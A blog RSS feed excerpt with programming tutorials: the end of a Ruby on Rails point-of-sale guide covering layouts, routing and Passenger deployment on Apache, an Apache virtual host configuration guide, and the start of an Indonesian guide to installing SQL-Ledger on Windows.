<p><a href="http://www.dijexi.com/wp-content/uploads/2010/09/image15.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://www.dijexi.com/wp-content/uploads/2010/09/image_thumb15.png" width="434" height="401" /></a> </p>
<h4>Global application layout</h4>
<p>If you’d like to change the layout globally for each model pages, then you will need to create a new file called app/views/layouts/application.html.erb, and delete&#160; all other layout files generated by the scaffold. You can copy from another layout file exists as a template, then do the layout adjustments on that file and rename it to application.html.erb.</p>
<p>Having only application.html.erb will make Rails to use that file as the layout for the application. So you have to delete all other layout files, otherwise Rails will use that file instead.</p>
<h4>The CSS, image, and Javascript files location</h4>
<p>On your application directory, there’s a directory named public. This is where we store all public resources, like CSS, images, and Javascript files.</p>
<p>Rails provides us with some helper functions to generate the proper path for accessing these things, for example image_tag() to access images on public/images, stylesheet_link_tag() to access CSS files, and javascript_include_tag() to access Javascript files.</p>
<p>&#160;</p>
<h2>The Default Welcome Page</h2>
<p>When pointing our browser to <a href="http://yourserver-ip:3000/">http://yourserver-ip:3000/</a> we will get the Ruby on Rails welcome page by default. We can change this default behaviour by editing the config/routes.rb file. Look at the map.root :controller =&gt; &quot;welcome&quot; line, and uncomment that line.</p>
<blockquote><p><font face="Courier"></font></p>
<p><font face="Courier">&#8230;</font></p>
<p><font face="Courier">map.root :controller =&gt; &quot;welcome&quot;</font> </p>
<p>&#8230;</p>
<p>&#160;</p>
</blockquote>
<p>It means that our application’s default controller is called welcome, which is not exist right now.</p>
<p>Next step, we need to delete public/index.html file.</p>
<blockquote><p><font face="Courier"># rm public/index.html</font></p>
<p><font face="Courier"></font></p>
</blockquote>
<p>&#160;</p>
<p>Then, we need to create that controller, simply by&#160; running script/generate again but this time with controller parameter and not scaffold as we have used before.</p>
<blockquote><p><font face="Courier"># ruby script/generate controller welcome index</font></p>
<p><font face="Courier"></font></p>
</blockquote>
<p>The command tells Rails to create for us a controller named welcome with a method index. Beside that Rails will also create a view file on app/views/welcome/index.html.erb that we can customize right away.</p>
<p>Let’s modify app/views/welcome/index.html.erb&#160; so that it will show us a main menu for our application :</p>
<blockquote><p><font face="Courier">&lt;h1&gt;Welcome to Simple POS&lt;/h1&gt; </font></p>
<p><font face="Courier">&lt;ul&gt;       <br />&#160;&#160; &lt;li&gt;&lt;%= link_to &quot;Orders&quot; , orders_path %&gt;&lt;/li&gt;        <br />&#160;&#160; &lt;li&gt;&lt;%= link_to &quot;Manage Items&quot; , items_path %&gt;&lt;/li&gt;        <br />&lt;/ul&gt;</font></p>
</blockquote>
<p>Here we use another Rails helper function link_to() which will create a HTML &lt;a href&gt; tag, which will display a link text as specified by the first parameter, and will jump to the URL that we specified in it’s second parameter.</p>
<p>We also use orders_path and items_path, which are the helper functions that is automatically generated by the scaffolding process to go to the index page (listing) of the order and item data.</p>
<p>The link can also be referred as these:</p>
<blockquote><p><font face="Courier">&#160;&#160; &lt;%= link_to &quot;Orders&quot; , :controller=&gt;&quot;orders&quot;, :action=&gt;&quot;index&quot; %&gt;</font></p>
<p><font face="Courier">       <br /></font></p>
</blockquote>
<p>&#160;</p>
<p>&#160;</p>
<h2>Testing the Application</h2>
<p>Rails provides us a test suite for testing out our application programmatically. This will make us easier to test all functionality of our application without testing it manually by entering data on the user interface pages.</p>
<p>For example, it we need to test the application functionalities, run this comman:</p>
<blockquote><p><font face="Courier New"># rake test:functionals</font></p>
<p><font face="Courier New"></font></p>
</blockquote>
<p>We can see the test results and&#160; will be notified if something not expected exists.</p>
<p>&#160;</p>
<h2>Deploying Into Apache Web Server</h2>
<p>Install modrails aka Passenger to be used by Apache web server:</p>
<pre>gem install passenger</pre>
<p>Then type:</p>
<pre><kbd>passenger-install-apache2-module</kbd></pre>
<p>Then follow the instructions on that script.</p>
<ul><kbd><font face="Verdana"></font></kbd></ul>
<p><kbd></kbd></p>
</p>
<h4>Deploying on name based virtual host:</h4>
<p>Add a virtual host entry to your Apache configuration file. Make sure that the following conditions are met:</p>
<ul>
<li>The virtual host’s document root must point to your Ruby on Rails application’s <em>public </em>folder. </li>
<li>The Apache per-directory permissions must allow access to this folder. </li>
<li>MultiViews must be disabled for this folder. </li>
</ul>
<p>For example:</p>
<pre><tt>&lt;VirtualHost *:80&gt;
    ServerName <a href="http://www.simpleblog.com">www.simpleblog.com
</a>    DocumentRoot /opt/rubyapp/simpleblog/public
    &lt;Directory /opt/rubyapp/simpleblog/public&gt;
        Allow from all
        Options -MultiViews
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;</tt></pre>
<p>You may also need to tweak your file/folder permissions. Make sure that the following folders are readable and executable by Apache:</p>
<ul>
<li>
<p>this <em>public</em> folder. </p>
</li>
<li>
<p>the application’s <em>config</em> folder. </p>
</li>
<li>
<p>all parent folders. That is, /opt/rubyapp/simpleblog , /opt and /opt/rubyapp/must also be readable and executable by Apache. </p>
<p>Then restart Apache. The application has now been deployed.</p>
</li>
</ul>
<h4>Deploying to a sub URI:</h4>
<p>Suppose that you already have a virtual host:</p>
<pre><tt>&lt;VirtualHost *:80&gt;
    ServerName <a href="http://www.yoursite.com">www.yoursite.com
</a>    DocumentRoot /www/yoursite
    &lt;Directory /www/yoursite&gt;
        Allow from all
    &lt;/Directory&gt;
&lt;/VirtualHost&gt;</tt></pre>
<p>And you want your Ruby on Rails application to be accessible from the URL <em><a href="http://www.yoursite.com/simpleblog">http://www.yoursite.com/simpleblog</a></em>.</p>
<p>To do this, make a symlink from your Ruby on Rails application’s <em>public</em> folder to a directory in the document root. For example:</p>
<pre><tt>ln -s /opt/rubyapp/simpleblog/public /www/yoursite/simpleblog</tt></pre>
<p>Next, add a <a href="http://www.modrails.com/documentation/Users%20guide%20Apache.html#RailsBaseURI">RailsBaseURI</a> option to the virtual host configuration, and also make sure that:</p>
<ul>
<li>
<p>The Apache per-directory permissions allow access to this folder. </p>
</li>
<li>
<p>MultiViews is disabled for this folder. </p>
</li>
</ul>
<p>For example (notice the lines in bold):</p>
<pre><tt>&lt;VirtualHost *:80&gt;
    ServerName <a href="http://www.yoursite.nl">www.yoursite.nl
</a>    DocumentRoot /www/yoursite
    &lt;Directory /www/yoursite&gt;
        Allow from all
    &lt;/Directory&gt;

<strong>    RailsBaseURI /simpleblog
    &lt;Directory /www/yoursite/simpleblog&gt;
        Options -MultiViews
    &lt;/Directory&gt;</strong>
&lt;/VirtualHost&gt;</tt></pre>
<p>Then restart Apache. The application has now been deployed.</p>
<p>&#160;</p>
<h4>Deploying to a port based virtual host</h4>
<p>What if you want to access your application using a port number, like <a href="http://yoursite.com:9000">http://yoursite.com:9000</a>. To do this, use Apache’s port based virtual host.</p>
<p>Add Listen directive to ports.conf or httpd.conf:</p>
<blockquote>
<p><font size="2" face="Courier New">Listen 9000</font></p>
<p>&#160;</p>
</blockquote>
<p>&#160;</p>
<p>Then add a virtual host entry to your Apache configuration file. Make sure that the following conditions are met: </p>
<ul>
<li>The virtual host’s document root must point to your Ruby on Rails application’s <em>public </em>folder. </li>
<li>The Apache per-directory permissions must allow access to this folder. </li>
<li>MultiViews must be disabled for this folder. </li>
</ul>
<ul>For example:</ul>
<blockquote>
<p><font size="2" face="Courier New">&lt;VirtualHost *:9000&gt;<br />
      <br />&#160;&#160; ServerName <a href="http://www.yoursite.com">www.yoursite.com</a> </p>
<p>&#160;&#160;&#160;&#160;&#160; DocumentRoot /opt/rubyapp/simpleblog/public </p>
<p>&#160;&#160;&#160;&#160;&#160; &lt;Directory /opt/rubyapp/simpleblog/public&gt; </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; AllowOverride all </p>
<p>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; Options -MultiViews </p>
<p>&#160;&#160;&#160;&#160;&#160; &lt;/Directory&gt; </p>
<p>&lt;/VirtualHost&gt;</font></p>
</blockquote>
<ul></ul>
<ul>Also, delete or comment out the NameVirtualHost * directive on your httpd.conf.</ul>
<p>Then restart Apache. The application has now been deployed.</p>
<h3></h3>
<p>&#160;</p>
<h2>Resources</h2>
<ul>
<li><a href="http://rubyonrails.org">http://rubyonrails.org</a> </li>
<li><a href="http://www.railscasts.com">http://www.railscasts.com</a> </li>
<li><a title="http://www.modrails.com" href="http://www.modrails.com">http://www.modrails.com</a> </li>
</ul>
<ul></ul>
<ul></ul>
<p>Akhmad Daniel Sembiring<br />
  <br />akhmad.daniel[at]gmail.com </p>
<p>vitraining.com -CEO</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:11bdb8ed-6bee-4ac5-99ae-eb0488fae311" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/Developing" rel="tag">Developing</a>,<a href="http://technorati.com/tags/Web+Applications" rel="tag">Web Applications</a>,<a href="http://technorati.com/tags/Ruby+on+Rails" rel="tag">Ruby on Rails</a>,<a href="http://technorati.com/tags/Debian+5" rel="tag">Debian 5</a>,<a href="http://technorati.com/tags/Point+of+Sales" rel="tag">Point of Sales</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/12/netbeans-ide-6-8-released/" rel="bookmark">NetBeans IDE 6.8 Released</a></li><li><a href="http://www.dijexi.com/2010/03/show-the-list-of-installed-packages-on-ubuntu-or-debian/" rel="bookmark">Show the List of Installed Packages on Ubuntu or Debian</a></li><li><a href="http://www.dijexi.com/2010/11/engaging-customers-with-facebook-applications/" rel="bookmark">Engaging Customers with Facebook Applications</a></li><li><a href="http://www.dijexi.com/2009/07/best-free-development-tools-and-editors-software/" rel="bookmark">Best Free Development Tools and Editors Software</a></li><li><a href="http://www.dijexi.com/2010/06/how-to-use-tor-project-anonymous-ip-with-curl-php-on-linux/" rel="bookmark">How to Use Tor Project Anonymous IP with Curl PHP on Linux</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2010%2F09%2Fdeveloping-web-based-pos-application-using-ruby-on-rails-on-debian-5%2F&amp;linkname=Developing%20Web%20Based%20POS%20Application%20Using%20Ruby%20on%20Rails%20on%20Debian%205"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Apache Virtual Host Configuration</title>
		<link>http://www.dijexi.com/2009/07/apache-virtual-host-configuration/</link>
		<comments>http://www.dijexi.com/2009/07/apache-virtual-host-configuration/#comments</comments>
		<pubDate>Sun, 19 Jul 2009 06:45:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[configuration]]></category>
		<category><![CDATA[virtual host]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/07/apache-virtual-host-configuration/</guid>
		<description><![CDATA[Image via Wikipedia Apache: Name Based Virtual Host The server machine has a primary name server.domain.tld. Then there are two aliases (CNAMEs) for that server say www.domain.tld and www.sub.domain.tld for the address server.domain.tld. We need different server configuration for each name so that each name can act as differrent web servers. Here is the configuration [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><div style="margin: 1em; width: 75px; display: block; float: right; height: 86px" class="zemanta-img" jquery1247985961296="1521"><a href="http://commons.wikipedia.org/wiki/Image:Premier_serveur_Web.jpeg"><img style="border-bottom: medium none; border-left: medium none; display: block; border-top: medium none; border-right: medium none" alt="The NeXT Computer used by Tim Berners-Lee at C..." src="http://upload.wikimedia.org/wikipedia/commons/thumb/0/07/Premier_serveur_Web.jpeg/300px-Premier_serveur_Web.jpeg" width="74" height="50" /></a>
<p style="font-size: 0.8em" class="zemanta-img-attribution">Image via <a href="http://commons.wikipedia.org/wiki/Image:Premier_serveur_Web.jpeg">Wikipedia</a></p>
</p></div>
<h2>Apache: <a class="zem_slink" title="Virtual hosting" href="http://en.wikipedia.org/wiki/Virtual_hosting" rel="wikipedia">Name Based Virtual Host</a></h2>
<p>The server machine has a primary name server.domain.tld. Then there are two aliases (CNAMEs) for that server say www.domain.tld and www.sub.domain.tld for the address server.domain.tld. </p>
<p>We need different server configuration for each name so that each name can act as differrent <a class="zem_slink" title="Web server" href="http://en.wikipedia.org/wiki/Web_server" rel="wikipedia">web servers</a>. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file <a class="zem_slink" title="Httpd.conf" href="http://en.wikipedia.org/wiki/Httpd.conf" rel="wikipedia">httpd.conf</a>)</p>
<p> <span id="more-854"></span>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:c8c2820e-06f8-4b30-a6af-2a6a2a2e5965" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Port 80</p>
<p>ServerName server.domain.tld</p>
<p>NameVirtualHost *:80<br />
&lt;VirtualHost *:80&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain<br />
&nbsp; &nbsp;ServerName www.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&lt;VirtualHost *:80&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/subdomain<br />
&nbsp; &nbsp;ServerName www.sub.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>The asterisks match all addresses, so the main server serves no requests. Due to the fact that www.domain.tld is first in the <a class="zem_slink" title="Configuration file" href="http://en.wikipedia.org/wiki/Configuration_file" rel="wikipedia">configuration file</a>, it has the highest priority and can be seen as the <i>default</i> or <i>primary</i> server. </p>
<h2><a name="ip">Apache: Config for IP-based virtual hosts</a></h2>
<h3>Setup 1</h3>
<p>The server machine has two <a class="zem_slink" title="IP address" href="http://en.wikipedia.org/wiki/IP_address" rel="wikipedia">IP addresses</a> (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www.otherdomain.tld respectively. The <a class="zem_slink" title="Hostname" href="http://en.wikipedia.org/wiki/Hostname" rel="wikipedia">hostname</a> www.domain.tld is an alias (<a class="zem_slink" title="CNAME record" href="http://en.wikipedia.org/wiki/CNAME_record" rel="wikipedia">CNAME</a>) for server.domain.tld and will represent the main server. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:bd7c8952-e82a-46e5-98d2-05428b21d107" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Port 80</p>
<p>DocumentRoot /www/domain<br />
ServerName www.domain.tld</p>
<p>&lt;VirtualHost 111.22.33.55&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/otherdomain<br />
&nbsp; &nbsp;ServerName www.otherdomain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>www.otherdomain.tld can only be reached through the address 111.22.33.55, while www.domain.tld can only be reached through 111.22.33.44 (which represents our main server). </p>
<h3>Setup 2</h3>
<p>Same as setup 1, but we don&#8217;t want to have a dedicated main server. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:b0a829c1-bb35-42f6-9b40-5e73c71fcca2" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">&#8230;<br />
Port 80<br />
ServerName server.domain.tld</p>
<p>&lt;VirtualHost 111.22.33.44&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain<br />
&nbsp; &nbsp;ServerName www.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;</p>
<p>&lt;VirtualHost 111.22.33.55&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/otherdomain<br />
&nbsp; &nbsp;ServerName www.otherdomain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>The main server can never catch a request, because all IP addresses of our machine are in use for IP-based virtual hosts (only localhost requests can hit the main server). </p>
<h3>Setup 3:</h3>
<p>The server machine has two IP addresses (111.22.33.44 and 111.22.33.55) which resolve to the names server.domain.tld and www-<a class="zem_slink" title="Web cache" href="http://en.wikipedia.org/wiki/Web_cache" rel="wikipedia">cache</a>.domain.tld respectively. The hostname www.domain.tld is an alias (CNAME) for server.domain.tld and will represent the main server. www-cache.domain.tld will become our <a class="zem_slink" title="Proxy server" href="http://en.wikipedia.org/wiki/Proxy_server" rel="wikipedia">proxy</a>-cache listening on port 8080, while the web server itself uses the default port 80. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:212d1144-eac1-438b-ac54-d207feb9f0bf" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Port 80<br />
Listen 111.22.33.44:80<br />
Listen 111.22.33.55:8080</p>
<p>ServerName server.domain.tld</p>
<p>&lt;VirtualHost 111.22.33.44:80&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain<br />
&nbsp; &nbsp;ServerName www.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;</p>
<p>&lt;VirtualHost 111.22.33.55:8080&gt;<br />
&nbsp; &nbsp;ServerName www-cache.domain.tld<br />
&nbsp; &nbsp;&#8230;<br />
&nbsp; &nbsp;&lt;Directory proxy:&gt;<br />
&nbsp; &nbsp; &nbsp; Order Deny,Allow<br />
&nbsp; &nbsp; &nbsp; Deny from all<br />
&nbsp; &nbsp; &nbsp; Allow from 111.22.33<br />
&nbsp; &nbsp;&lt;/Directory&gt;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>The main server can never catch a request, because all IP addresses (apart from localhost) of our machine are in use for IP-based virtual hosts. The web server can only be reached on the first address through port 80 and the proxy only on the second address through port 8080. </p>
<h2><a name="port">Port-based vhosts</a></h2>
<p>The server machine has one IP address (111.22.33.44) which resolves to the name www.domain.tld. If we don&#8217;t have the option to get another address or alias for our server we can use port-based vhosts if we need a virtual host with a different configuration. </p>
<p>Here is the configuration for the vhost.conf file (the one that will be included in the main config file httpd.conf)</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:2add2770-6cc4-4062-badf-bd581d7af4c2" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">Listen 80<br />
Listen 8080<br />
ServerName www.domain.tld<br />
DocumentRoot /www/domain</p>
<p>&lt;VirtualHost 111.22.33.44:8080&gt;<br />
&nbsp; &nbsp;DocumentRoot /www/domain2<br />
&nbsp; &nbsp;&#8230;<br />
&lt;/VirtualHost&gt;<br />
&nbsp;</div>
</div>
<p>A request to www.domain.tld on port 80 is served from the main server and a request to port 8080 is served from the virtual host. </p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:f6194b98-3705-409b-b66c-edbaf250199c" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/configuration" rel="tag">configuration</a>,<a href="http://technorati.com/tags/virtual+host" rel="tag">virtual host</a></div>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
</p>
<div class="zemanta-related">
<h6 style="font-size: 1em" class="zemanta-related-title">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://garinungkadol.com/2009/xampp-pretty-permalinks-wordpress/">XAMPP + Pretty Permalinks in WordPress </a>(garinungkadol.com) </li>
<li class="zemanta-article-ul-li"><a href="http://www.ghacks.net/2009/03/17/adding-a-name-based-virtual-host-in-apache/">Adding a Name-Based Virtual Host in Apache</a> (ghacks.net) </li>
<li class="zemanta-article-ul-li"><a href="http://www.problogger.net/archives/2009/05/24/banishing-spammers-and-trolls-with-htaccess-files/">Banishing Spammers and Trolls With .htaccess Files </a>(problogger.net)</li>
</ul>
</div>
</p>
<div style="margin-top: 10px; height: 15px" class="zemanta-pixie"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/b48896d5-6b72-4824-a403-e338c7dbca8c/"><img style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" class="zemanta-pixie-img" alt="Reblog this post [with Zemanta]" src="http://img.zemanta.com/reblog_e.png?x-id=b48896d5-6b72-4824-a403-e338c7dbca8c" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2010/09/developing-web-based-pos-application-using-ruby-on-rails-on-debian-5/" rel="bookmark">Developing Web Based POS Application Using Ruby on Rails on Debian 5</a></li><li><a href="http://www.dijexi.com/2009/06/how-to-change-upload-file-size-on-a-windows-localhost/" rel="bookmark">How to change upload file size on a Windows localhost</a></li><li><a href="http://www.dijexi.com/2009/08/how-to-debug-php-program-remotely-using-phpdesigner-2008/" rel="bookmark">How to Debug PHP Program Remotely using phpDesigner 2008</a></li><li><a href="http://www.dijexi.com/2009/06/portable-apache-mysql-php/" rel="bookmark">Portable Apache, MySQL, PHP</a></li><li><a href="http://www.dijexi.com/2010/05/setup-kannel-sms-gateway-on-ubuntu/" rel="bookmark">Setup Kannel SMS Gateway on Ubuntu</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fapache-virtual-host-configuration%2F&amp;linkname=Apache%20Virtual%20Host%20Configuration"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/apache-virtual-host-configuration/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalasi SQL Ledger di Windows</title>
		<link>http://www.dijexi.com/2009/06/instalasi-sql-ledger-di-windows/</link>
		<comments>http://www.dijexi.com/2009/06/instalasi-sql-ledger-di-windows/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 02:00:21 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Apache]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[PostgreSQL]]></category>
		<category><![CDATA[SQL Ledger]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[akunting]]></category>
		<category><![CDATA[apache http server]]></category>
		<category><![CDATA[file]]></category>
		<category><![CDATA[network domain]]></category>
		<category><![CDATA[xampp]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/06/instalasi-sql-ledger-di-windows/</guid>
		<description><![CDATA[Persyaratan Windows 2000, Windows XP, Windows Server 2000 atau Windows Server 2003 WinZip mengerti DOS commands prompt, i.e. CD, DIR, MKDIR, COPY, REN Langkah-langkah Instal Apache HTTP Server 2.0.55 (alternatif Apache melalui XAMPP) Instal ActivePerl 5.6.1 Instal DBD-Pg and DBI Instal PostgreSQL 8.0.4 (Part 1) Instal PostgreSQL 8.0.4 (Part 2) Instal SQL-Ledger 2.8.17 Updating HTTPD.CONF [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Persyaratan</h2>
<ul>
<li>Windows 2000, Windows XP, Windows Server 2000 atau Windows Server 2003</li>
<li>WinZip</li>
<li>mengerti DOS commands prompt, i.e. CD, DIR, MKDIR, COPY, REN</li>
</ul>
<h2>Langkah-langkah</h2>
<ul>
<li>Instal Apache HTTP Server 2.0.55 (alternatif Apache melalui XAMPP)</li>
<li>Instal ActivePerl 5.6.1</li>
<li>Instal DBD-Pg and DBI</li>
<li>Instal PostgreSQL 8.0.4 (Part 1)</li>
<li>Instal PostgreSQL 8.0.4 (Part 2)</li>
<li>Instal SQL-Ledger 2.8.17</li>
<li>Updating HTTPD.CONF</li>
<li>Set Administrator Password dan membuat Dataset</li>
</ul>
<p><span id="more-229"></span></p>
<h2>Instalasi Apache</h2>
<p>Download versi terbaru program apache dari httpd.apache.org. misalnya apache_2.0.55-win32-x86-no_ssl.msi. Jalankan program tersebut sehingga muncul wizard instalasi apache.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar1.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar1" src="http://akhdaniel.files.wordpress.com/2008/10/gambar1.jpg" border="0" alt="Instalasi Apache " width="240" height="184" /></a></p>
<p>Pada dialog box berikut ini, contreng radio button &#8220;I accept the terms &#8230; &#8221; dan klik tombol Next.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar2.jpg"><img class="alignnone size-full wp-image-96" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar2" src="http://akhdaniel.files.wordpress.com/2008/10/gambar2.jpg" border="0" alt="Instalasi Apache " width="240" height="183" /></a></p>
<p>Dialog box berikutnya berisi infromasi README information untuk versi Apache HTTP server.<br />
Klik tombo Next untuk melanjutkan.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar3.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar3" src="http://akhdaniel.files.wordpress.com/2008/10/gambar3.jpg" border="0" alt="Instalasi Apache " width="240" height="183" /></a></p>
<p>Pada dialog box Server Information , masukkan infromasi berikut (asumsi tidak ada setting DNS di jaringan anda):</p>
<ul>
<li>Network Domain: localhost</li>
<li>Server Name: localhost</li>
<li>Admin Email: email address anda</li>
<li>Contrne radio button &#8220;for All Users, on Port 80, as a Service&#8221;, dan klik tombol Next.</li>
</ul>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar4.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar4" src="http://akhdaniel.files.wordpress.com/2008/10/gambar4.jpg" border="0" alt="Instalasi Apache " width="240" height="183" /></a></p>
<p>Dialog box berikutnya meminta anda menentukan jenis setup. Boleh pilih Typical atau Custom.<br />
Lalu klik tombol Next.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar5.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar5" src="http://akhdaniel.files.wordpress.com/2008/10/gambar5.jpg" border="0" alt="Instalasi Apache " width="240" height="184" /></a></p>
<p>Jika pada dialog box sebelumnya dipilih setup type Custom maka program setup meminta anda untuk menentukan item yang hendak diinstall. Secara default, semuanya dipilih untuk diinstall. Lalu klik tombol Next.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar6.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar6" src="http://akhdaniel.files.wordpress.com/2008/10/gambar6.jpg" border="0" alt="Instalasi Apache " width="240" height="183" /></a></p>
<p>Akhirnya anda diminta untuk memulai proses installasi Apache HTTP server. Klik pada tombol Install.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar7.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar7" src="http://akhdaniel.files.wordpress.com/2008/10/gambar7.jpg" border="0" alt="Instalasi Apache " width="240" height="184" /></a></p>
<p>Ketika muncul dialog box Installation Wizard Completed klik tombol Finish.</p>
<p>Selanjutnya lihat pada bagian bawah kanan layar komputer. Pada System Tray anda akan melihat icon yang baru sudah installed. Gambarnya adalah bulu merah dengan panah hijau didalamnya. Panah hijau menandakan bahwa installasi sukses.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar8.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar8" src="http://akhdaniel.files.wordpress.com/2008/10/gambar8.jpg" border="0" alt="" width="336" height="52" /></a></p>
<p>Jika anda letakkan mouse cursor diatas icon tersebut lalu right click dan memilih Open Apache<br />
Monitor, anda dapat dengan mudah untuk Start/Stop/Restart Apache HTTP server melalui applet ini.</p>
<p><a href="http://akhdaniel.files.wordpress.com/2008/10/gambar9.jpg"><img class="alignnone size-full wp-image-92" style="border-bottom: 0px; border-left: 0px; border-top: 0px; border-right: 0px" title="gambar9" src="http://akhdaniel.files.wordpress.com/2008/10/gambar9.jpg" border="0" alt="" /></a></p>
